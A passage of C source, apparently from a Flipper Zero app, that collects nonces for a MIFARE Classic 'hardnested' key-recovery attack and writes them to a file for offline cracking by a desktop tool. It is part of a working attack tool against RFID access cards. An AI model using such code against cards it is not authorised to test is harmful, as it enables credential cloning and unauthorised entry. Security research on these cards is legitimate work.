key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
key_type++) {
Nonces* info = nonces.nonces[sector][key_type][0];
if(info->collected) {
FURI_LOG_I(
TAG,
"Skipping sector %u, block %u, key_type: %u as we already have a key",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->skipped = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
if(!nested_check_block(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
FURI_LOG_E(
TAG,
"Skipping sector %u, block %u, key_type: %u as we can't auth on it",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->invalid = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
while(!info->collected &&
mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
Stream* file_stream = file_stream_alloc(storage);
FuriString* hardnested_file = furi_string_alloc();
mifare_nested_worker_get_hardnested_file_path(
&data, hardnested_file, sector, key_type);
file_stream_open(
file_stream,
furi_string_get_cstr(hardnested_file),
FSAM_READ_WRITE,
FSOM_CREATE_ALWAYS);
FuriString* header = furi_string_alloc_printf(
"Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
NESTED_NONCE_FORMAT_VERSION,
NESTED_RECOVER_KEYS_GITHUB_LINK,
!key_type ? 'A' : 'B',
cuid,
sector);
stream_write_string(file_stream, header);